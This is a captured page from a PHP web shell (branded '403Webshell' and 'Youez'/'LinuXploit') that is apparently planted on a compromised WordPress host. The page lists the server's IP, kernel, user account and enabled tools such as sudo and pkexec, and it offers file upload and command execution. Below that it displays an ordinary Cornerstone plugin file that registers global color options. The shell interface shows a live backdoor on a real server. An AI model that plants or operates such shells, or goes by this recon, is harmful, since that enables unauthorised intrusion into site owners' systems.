403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/cornerstone/includes/dynamiccontent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/cornerstone/includes/dynamiccontent/colors.php
<?php

namespace Cornerstone\DynamicContent\Colors;

// For reference in option fields
const GLOBAL_COLOR_TYPE = "globalcolor";


// Register Theme option DC UI
add_action('cs_dynamic_content_setup', function() {
  // Global Color
  cornerstone_dynamic_content_register_field([
    'name'  => 'color',
    'group' => 'global',
    'type' => 'mixed',
    'label' => __( 'Color', CS_LOCALIZE ),
    'controls' => [

      // Type
      [
        'key' => 'id',
        'type' => 'select',
        'label' => __('Color', CS_LOCALIZE),
        'options' => [
          'choices' => 'dynamic:' . GLOBAL_COLOR_TYPE,
          'placeholder' => __('Enter Color ID', CS_LOCALIZE),
        ],
      ]

    ],
    'deep' => true,
  ]);

  // Dynamic Option for Global Color
  cs_dynamic_content_register_dynamic_option(GLOBAL_COLOR_TYPE, [
    'key' => GLOBAL_COLOR_TYPE,
    'type' => "select",
    'label' => __("Global Color", CS_LOCALIZE),
    'options' => [
      'choices' => "dynamic:" . GLOBAL_COLOR_TYPE,
      'placeholder' => __("Enter Color ID", CS_LOCALIZE),
    ],
  ]);

}, 200);

/**
 * Dynamic Option for all colors
 */
add_filter('cs_dynamic_options_' . GLOBAL_COLOR_TYPE, function($output = []) {
  $colors = cs_color_get_all();

  $choices = [];

  foreach ($colors as $color) {
    $choices[] = [
      'label' => $color['title'],
      'value' => $color['_id'],
    ];
  }

  return $choices;
});

Youez - 2016 - github.com/yon3zu
LinuXploit